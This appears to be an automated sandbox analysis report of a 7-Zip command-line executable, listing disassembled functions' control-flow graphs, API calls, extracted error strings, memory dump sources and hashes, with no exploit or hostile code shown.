                                                                                                                                                                                                                                                                                    control_flow_graph 1635 ca47ac-ca485c call c83314 * 2 1640 ca489a-ca491b call ca6344 call c832bc call c83b5c free * 2 call c83208 call c83314 1635->1640 1641 ca485e-ca4884 call c82880 1635->1641 1656 ca49bd-ca49cb call c8477c 1640->1656 1657 ca4921-ca4925 1640->1657 1641->1640 1646 ca4886-ca4895 call c83404 1641->1646 1646->1640 1662 ca4dff 1656->1662 1663 ca49d1-ca49e7 1656->1663 1657->1656 1658 ca492b-ca495e call c83208 call c8449c 1657->1658 1674 ca49b0-ca49b8 free 1658->1674 1675 ca4960-ca496f 1658->1675 1665 ca4e02-ca4e05 1662->1665 1671 ca4a68-ca4ad2 call c83208 * 3 1663->1671 1672 ca49e9-ca4a28 free * 4 1663->1672 1668 ca4e40-ca4e45 1665->1668 1669 ca4e07-ca4e1c call c82130 1665->1669 1676 ca4e5d-ca4e62 call c870c8 1668->1676 1677 ca4e47-ca4e58 call c83518 1668->1677 1689 ca4e1e-ca4e2e call c83314 1669->1689 1690 ca4e30 1669->1690 1717 ca4ad8-ca4adb 1671->1717 1718 ca4d30-ca4d3b 1671->1718 1679 ca4a2a 1672->1679 1680 ca4a58-ca4a63 free 1672->1680 1674->1656 1682 ca497a-ca498b 1675->1682 1683 ca4971-ca4978 1675->1683 1687 ca4e67-ca4e6a 1676->1687 1694 ca4f2c-ca4f98 call c93f0c 1677->1694 1688 ca4a2e-ca4a41 1679->1688 1692 ca504a-ca5059 free 1680->1692 1691 ca4993-ca4996 1682->1691 1683->1682 1683->1691 1687->1694 1695 ca4e70-ca4eea GetLastError call c83518 call c8362c free * 4 1687->1695 1696 ca4a43-ca4a4f free * 2 1688->1696 1697 ca4a54-ca4a56 1688->1697 1700 ca4e33-ca4e3b call c8b8f0 1689->1700 1690->1700 1691->1674 1699 ca4998-ca49ad call c83404 1691->1699 1701 ca523b-ca524e 1692->1701 1714 ca505e-ca5062 1694->1714 1715 ca4f9e-ca4fa2 1694->1715 1729 ca4f1a-ca4f27 free 1695->1729 1730 ca4eec 1695->1730 1696->1697 1697->1680 1697->1688 1699->1674 1700->1668 1721 ca506e 1714->1721 1722 ca5064-ca506c 1714->1722 1715->1714 1719 ca4fa8-ca4fac 1715->1719 1724 ca4add-ca4ae0 1717->1724 1725 ca4b24-ca4b3e call caec5c 1717->1725 1726 ca4df0-ca4dfd call c92a84 1718->1726 1727 ca4d41-ca4dae call c92a84 free * 4 1718->1727 1719->1714 1728 ca4fb2-ca4fc7 call c932e8 1719->1728 1723 ca5071-ca507d 1721->1723 1722->1721 1722->1723 1732 ca5152-ca516d 1723->1732 1733 ca5083-ca50d1 1723->1733 1724->1725 1734 ca4ae2-ca4aee 1724->1734 1750 ca4c9d-ca4cee call c92a84 free * 4 1725->1750 1751 ca4b44 1725->1751 1726->1665 1795 ca4dde-ca4deb free 1727->1795 1796 ca4db0 1727->1796 1728->1714 1749 ca4fcd-ca500d free * 4 1728->1749 1729->1692 1737 ca4ef0-ca4f03 1730->1737 1747 ca5173 1732->1747 1775 ca5143-ca5150 call c8ae2c 1733->1775 1776 ca50d3-ca50de 1733->1776 1739 ca4b4c-ca4b50 1734->1739 1740 ca4af0-ca4af7 1734->1740 1744 ca4f15-ca4f18 1737->1744 1745 ca4f05-ca4f10 free * 2 1737->1745 1752 ca4b52-ca4b5a 1739->1752 1753 ca4b60-ca4b63 1739->1753 1740->1739 1748 ca4af9-ca4b14 call cab290 1740->1748 1744->1729 1744->1737 1745->1744 1756 ca5175-ca517b 1747->1756 1778 ca4c0a-ca4c5b call c92a84 free * 4 1748->1778 1779 ca4b1a-ca4b22 1748->1779 1759 ca500f 1749->1759 1760 ca503d-ca5048 free 1749->1760 1784 ca4d1e-ca4d2b free 1750->1784 1785 ca4cf0 1750->1785 1751->1739 1752->1753 1762 ca4bf5-ca4bff 1752->1762 1754 ca4bc1-ca4bc4 1753->1754 1755 ca4b65-ca4b80 call c84318 1753->1755 1771 ca4be3-ca4bf2 call ccc7d4 1754->1771 1772 ca4bc6-ca4be1 call c943fc 1754->1772 1792 ca4b82-ca4b85 1755->1792 1793 ca4b87-ca4b9e 1755->1793 1766 ca517d-ca5188 call c96cd0 1756->1766 1767 ca5190-ca519e call cc1850 1756->1767 1770 ca5013-ca5026 1759->1770 1760->1692 1762->1717 1764 ca4c05 1762->1764 1764->1718 1766->1767 1790 ca51a1-ca51a6 1767->1790 1781 ca5038-ca503b 1770->1781 1782 ca5028-ca5033 free * 2 1770->1782 1771->1762 1772->1762 1772->1771 1775->1756 1776->1775 1794 ca50e0-ca50e3 1776->1794 1810 ca4c8b-ca4c98 free 1778->1810 1811 ca4c5d 1778->1811 1779->1739 1781->1760 1781->1770 1782->1781 1784->1692 1791 ca4cf4-ca4d07 1785->1791 1806 ca51a8-ca51b0 call c96cd0 1790->1806 1807 ca51b1-ca51f1 free * 4 1790->1807 1808 ca4d19-ca4d1c 1791->1808 1809 ca4d09-ca4d14 free * 2 1791->1809 1792->1754 1801 ca4baf-ca4bb3 1793->1801 1802 ca4ba0-ca4ba8 1793->1802 1803 ca5138-ca5140 1794->1803 1804 ca50e5-ca50e7 1794->1804 1795->1692 1805 ca4db4-ca4dc7 1796->1805 1801->1754 1816 ca4bb5-ca4bbd 1801->1816 1802->1754 1815 ca4baa-ca4bad 1802->1815 1803->1775 1817 ca512b-ca5136 1804->1817 1818 ca50e9-ca50eb 1804->1818 1819 ca4dd9-ca4ddc 1805->1819 1820 ca4dc9-ca4dd4 free * 2 1805->1820 1806->1807 1813 ca51f3 1807->1813 1814 ca5221-ca5239 free * 2 1807->1814 1808->1784 1808->1791 1809->1808 1810->1692 1822 ca4c61-ca4c74 1811->1822 1821 ca51f7-ca520a 1813->1821 1814->1701 1815->1754 1816->1754 1817->1775 1823 ca511f-ca5129 1818->1823 1824 ca50ed-ca50f0 1818->1824 1819->1795 1819->1805 1820->1819 1828 ca521c-ca521f 1821->1828 1829 ca520c-ca5217 free * 2 1821->1829 1826 ca4c86-ca4c89 1822->1826 1827 ca4c76-ca4c81 free * 2 1822->1827 1823->1775 1830 ca5112-ca511d 1824->1830 1831 ca50f2-ca5111 _CxxThrowException 1824->1831 1826->1810 1826->1822 1827->1826 1828->1814 1828->1821 1829->1828 1830->1775 1831->1830
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    • Can not create output directory: , xrefs: 00CA4E83
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove$ErrorExceptionLastThrow
                                                                                                                                                                                                                                                                                    • String ID: Can not create output directory:
                                                                                                                                                                                                                                                                                    • API String ID: 4159955631-3123869724
                                                                                                                                                                                                                                                                                    • Opcode ID: 342012ea8a5d9de563d8076d0ff135b9a41e5e317faebfc52beceac274ff6334
                                                                                                                                                                                                                                                                                    • Instruction ID: 986212b41f40e9ad4bbd25ccf4a905b4ebf12d2d0e84928d33e2933437edfe2c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 342012ea8a5d9de563d8076d0ff135b9a41e5e317faebfc52beceac274ff6334
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5D42B032219AC192CA30EF25E8943AEB361F7C6B88F546122DF9D43B19DF78C955DB04
                                                                                                                                                                                                                                                                                    Function 00CA5458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 2037 ca5458-ca54e2 2038 ca54f2-ca54f6 2037->2038 2039 ca54e4-ca54f0 2037->2039 2040 ca54fe-ca5504 2038->2040 2039->2040 2041 ca550a 2040->2041 2042 ca55ec-ca55fd 2040->2042 2043 ca550d-ca5538 call c87d28 call c83208 2041->2043 2044 ca55ff-ca560a call c82130 2042->2044 2045 ca5612-ca5615 2042->2045 2058 ca553a-ca554c call c87ebc 2043->2058 2059 ca556c-ca559c call c8b8f0 free 2043->2059 2044->2045 2048 ca5617-ca561f memset 2045->2048 2049 ca5624-ca5639 call c82130 2045->2049 2048->2049 2056 ca563b-ca563e call c93524 2049->2056 2057 ca5648 2049->2057 2064 ca5643-ca5646 2056->2064 2061 ca564b-ca5656 2057->2061 2068 ca5551-ca5554 2058->2068 2059->2043 2074 ca55a2 2059->2074 2065 ca5658-ca5661 2061->2065 2066 ca5662-ca56d1 call ca43b0 2061->2066 2064->2061 2065->2066 2075 ca56fd-ca5715 2066->2075 2076 ca56d3-ca56e3 2066->2076 2072 ca5556-ca5562 2068->2072 2073 ca55a4-ca55c7 _CxxThrowException 2068->2073 2077 ca55c8-ca55eb _CxxThrowException 2072->2077 2078 ca5564 2072->2078 2073->2077 2074->2042 2079 ca571b-ca571e 2075->2079 2080 ca5f1d-ca5f22 2075->2080 2076->2075 2086 ca56e5-ca56f8 free 2076->2086 2077->2042 2078->2059 2084 ca5726-ca572a 2079->2084 2081 ca5f29-ca5f3d 2080->2081 2082 ca5f24-ca5f27 2080->2082 2093 ca5f3f-ca5f52 free 2081->2093 2094 ca5f54-ca5f67 2081->2094 2082->2081 2085 ca5f8d-ca6002 free * 2 2082->2085 2087 ca5730-ca575f call c87d28 call c83208 2084->2087 2088 ca5c37-ca5c50 2084->2088 2098 ca6004-ca6017 2085->2098 2099 ca5f7c-ca5f8b free 2086->2099 2103 ca5772-ca577e call c87ebc 2087->2103 2104 ca5761-ca5770 2087->2104 2088->2084 2089 ca5c56-ca5c5a 2088->2089 2089->2080 2093->2099 2094->2085 2105 ca5f69-ca5f7b free 2094->2105 2099->2098 2108 ca5783-ca5786 2103->2108 2106 ca579e-ca57b4 call cc1544 2104->2106 2105->2099 2113 ca57ba-ca586c call ca4504 call ca42a8 call ca40c4 call c83404 call cb4c00 2106->2113 2114 ca5c5f-ca5c80 free * 2 2106->2114 2110 ca5ef9-ca5f1c _CxxThrowException 2108->2110 2111 ca578c-ca5798 2108->2111 2110->2080 2111->2106 2111->2110 2126 ca586e-ca5876 2113->2126 2127 ca587d-ca5883 2113->2127 2114->2099 2128 ca5878 2126->2128 2129 ca5889-ca58b3 call cc1bc0 2126->2129 2127->2129 2130 ca5c85-ca5c9e free 2127->2130 2128->2127 2136 ca58b9-ca58bc 2129->2136 2137 ca5d02-ca5d1e free 2129->2137 2131 ca5cbe-ca5cfd free call ca4610 free * 2 2130->2131 2132 ca5ca0 2130->2132 2131->2099 2134 ca5ca4-ca5cbc free 2132->2134 2134->2131 2134->2134 2141 ca58c2-ca58d3 2136->2141 2142 ca59b1-ca59bd 2136->2142 2139 ca5d3e-ca5d7b free call ca4610 free * 2 2137->2139 2140 ca5d20 2137->2140 2139->2099 2143 ca5d24-ca5d3c free 2140->2143 2145 ca5933 2141->2145 2146 ca58d5-ca5907 call c87d28 call c83208 call c87ebc 2141->2146 2147 ca5a8e-ca5a93 2142->2147 2148 ca59c3-ca59cd 2142->2148 2143->2139 2143->2143 2153 ca5936-ca594f free 2145->2153 2189 ca5909-ca5915 2146->2189 2190 ca5924-ca5931 free 2146->2190 2155 ca5aa1-ca5ab9 2147->2155 2150 ca59d3-ca59e1 2148->2150 2151 ca5a95-ca5a9a 2148->2151 2156 ca59e3-ca59ed 2150->2156 2157 ca5a55-ca5a58 2150->2157 2151->2155 2160 ca596f-ca59ac free call ca4610 free 2153->2160 2161 ca5951 2153->2161 2158 ca5abb-ca5ac3 2155->2158 2159 ca5acc 2155->2159 2164 ca59f5-ca5a11 call ca4434 2156->2164 2168 ca5a5a-ca5a86 2157->2168 2169 ca5a9c 2157->2169 2158->2159 2165 ca5ac5-ca5aca 2158->2165 2166 ca5acf-ca5b54 call ca47ac 2159->2166 2160->2088 2170 ca5955-ca596d free 2161->2170 2181 ca5a13-ca5a15 2164->2181 2182 ca5a21-ca5a30 2164->2182 2165->2166 2183 ca5b5a-ca5b61 2166->2183 2184 ca5dfe-ca5e1a free 2166->2184 2185 ca5a8c 2168->2185 2186 ca5d80-ca5d9c free 2168->2186 2169->2155 2170->2160 2170->2170 2181->2182 2191 ca5a17-ca5a1d 2181->2191 2182->2164 2192 ca5a32-ca5a52 2182->2192 2193 ca5b63-ca5b7e 2183->2193 2194 ca5b80 2183->2194 2187 ca5e3a-ca5e77 free call ca4610 free * 2 2184->2187 2188 ca5e1c 2184->2188 2185->2155 2195 ca5d9e 2186->2195 2196 ca5dbc-ca5df9 free call ca4610 free * 2 2186->2196 2187->2099 2197 ca5e20-ca5e38 free 2188->2197 2189->2190 2199 ca5917-ca591f 2189->2199 2190->2153 2191->2182 2192->2157 2200 ca5b88-ca5bb6 2193->2200 2194->2200 2201 ca5da2-ca5dba free 2195->2201 2196->2099 2197->2187 2197->2197 2199->2190 2204 ca5e7c-ca5e95 free 2200->2204 2205 ca5bbc-ca5bd6 free 2200->2205 2201->2196 2201->2201 2207 ca5e97 2204->2207 2208 ca5eb5-ca5ef4 free call ca4610 free * 2 2204->2208 2209 ca5bd8-ca5bdc 2205->2209 2210 ca5bff-ca5c12 free call ca4610 2205->2210 2213 ca5e9b-ca5eb3 free 2207->2213 2208->2099 2215 ca5bde-ca5bf5 free 2209->2215 2217 ca5c17-ca5c35 free 2210->2217 2213->2208 2213->2213 2215->2215 2219 ca5bf7 2215->2219 2217->2088 2219->2210
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ExceptionThrow$memset
                                                                                                                                                                                                                                                                                    • String ID: can't decompress folder$there is no such archive
                                                                                                                                                                                                                                                                                    • API String ID: 4182836161-2069749860
                                                                                                                                                                                                                                                                                    • Opcode ID: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
                                                                                                                                                                                                                                                                                    • Instruction ID: 23982a79008775080b5cc69ab7c99bed5942dd2d663e444066acbd09d38ef28b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 62526E33209AC186CA20EF25E5883AEB760F7C6B98F505112DF9E53B29DF38C955DB04
                                                                                                                                                                                                                                                                                    Function 00CAF13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: c9d507f69cf5efe20d4de7e75527924661c2f100977259353f40b5d9e0ced28d
                                                                                                                                                                                                                                                                                    • Instruction ID: e3fca78557bdf77c11057e22c9ccd0f0dc02328aae861817c17dd5332431553f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c9d507f69cf5efe20d4de7e75527924661c2f100977259353f40b5d9e0ced28d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B642903720AAC086CB24EF66E0946AF7765F38AB8CF552015DB5E47B15CF38C946D704
                                                                                                                                                                                                                                                                                    Function 00C90DCC Relevance: 51.4, APIs: 17, Strings: 12, Instructions: 652COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    • Unsupported -spf:, xrefs: 00C90F7E
                                                                                                                                                                                                                                                                                    • Only one archive can be created with rename command, xrefs: 00C917E1
                                                                                                                                                                                                                                                                                    • stdout mode and email mode cannot be combined, xrefs: 00C91710
                                                                                                                                                                                                                                                                                    • Cannot use absolute pathnames for this command, xrefs: 00C9138C
                                                                                                                                                                                                                                                                                    • I won't write compressed data to a terminal, xrefs: 00C91741
                                                                                                                                                                                                                                                                                    • Unsupported command:, xrefs: 00C90E57
                                                                                                                                                                                                                                                                                    • The command must be specified, xrefs: 00C90DF5
                                                                                                                                                                                                                                                                                    • I won't write data and program's messages to same stream, xrefs: 00C914B3, 00C91782
                                                                                                                                                                                                                                                                                    • Incorrect Number of benmchmark iterations, xrefs: 00C91847
                                                                                                                                                                                                                                                                                    • -ai switch is not supported for this command, xrefs: 00C915C3
                                                                                                                                                                                                                                                                                    • Cannot find archive name, xrefs: 00C9110A
                                                                                                                                                                                                                                                                                    • Archive name cannot by empty, xrefs: 00C91151
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$free$wcscmp
                                                                                                                                                                                                                                                                                    • String ID: -ai switch is not supported for this command$Archive name cannot by empty$Cannot find archive name$Cannot use absolute pathnames for this command$I won't write compressed data to a terminal$I won't write data and program's messages to same stream$Incorrect Number of benmchmark iterations$Only one archive can be created with rename command$The command must be specified$Unsupported -spf:$Unsupported command:$stdout mode and email mode cannot be combined
                                                                                                                                                                                                                                                                                    • API String ID: 1252877886-1892825451
                                                                                                                                                                                                                                                                                    • Opcode ID: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
                                                                                                                                                                                                                                                                                    • Instruction ID: b7d5143c4103caa500a4480e4497a0de54104f0a061a0bd9168c9d63b1f82e63
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 105215733046C2ABDF28DF29D1957AEBB61F355784F884116DBA903B21DB39D6A8C700
                                                                                                                                                                                                                                                                                    Function 00C91D04 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 56COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CloseHandle$ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                                                                                    • String ID: SeSecurityPrivilege
                                                                                                                                                                                                                                                                                    • API String ID: 1313864721-2333288578
                                                                                                                                                                                                                                                                                    • Opcode ID: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
                                                                                                                                                                                                                                                                                    • Instruction ID: dcce2391aa7ac762a462194be6cf889ffc032cac9694a1f703494c35dcca58eb
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 74115172204B41C2FA01CB12F959B6DB3A7FBC4B85F980516EA9F42A54CF3CC54AC710
                                                                                                                                                                                                                                                                                    Function 00C8AC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32 ref: 00C8AC84
                                                                                                                                                                                                                                                                                    • OpenProcessToken.ADVAPI32 ref: 00C8AC95
                                                                                                                                                                                                                                                                                    • LookupPrivilegeValueW.ADVAPI32 ref: 00C8ACA9
                                                                                                                                                                                                                                                                                    • AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,FFFFFFFF,?,00C8F928), ref: 00C8ACE0
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,00C8F928), ref: 00C8ACEA
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE ref: 00C8ACFA
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3398352648-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
                                                                                                                                                                                                                                                                                    • Instruction ID: 1eb05c9774d1c7bc81934a7d7df5c00ed382a20a6d33e2c4d1dad7920bb2e24e
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3801406261468187FB109F65E884B9E7362F784B85F54523AEB8A82A54CF3CC58ACB00
                                                                                                                                                                                                                                                                                    Function 00C87978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8794C: FindClose.KERNELBASE ref: 00C8795E
                                                                                                                                                                                                                                                                                    • FindFirstFileW.KERNELBASE ref: 00C879BA
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8339C: free.MSVCRT ref: 00C833D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8339C: memmove.MSVCRT(00000000,?,?,00000000,00C810A8), ref: 00C833F2
                                                                                                                                                                                                                                                                                    • FindFirstFileW.KERNELBASE ref: 00C879FA
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C87A08
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Find$FileFirstfree$Closememmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2921071498-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
                                                                                                                                                                                                                                                                                    • Instruction ID: 4bdceab5e17e0f2b804c0045e27805bc0de0b397adb271a0f0bcd062e73ed3c6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E4211E36208A8086DB11EF25E45439D6361F78ABB8F545311EABD477D9DF38CA05D704
                                                                                                                                                                                                                                                                                    Function 00C94418 Relevance: 219.6, APIs: 132, Strings: 13, Instructions: 2096COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
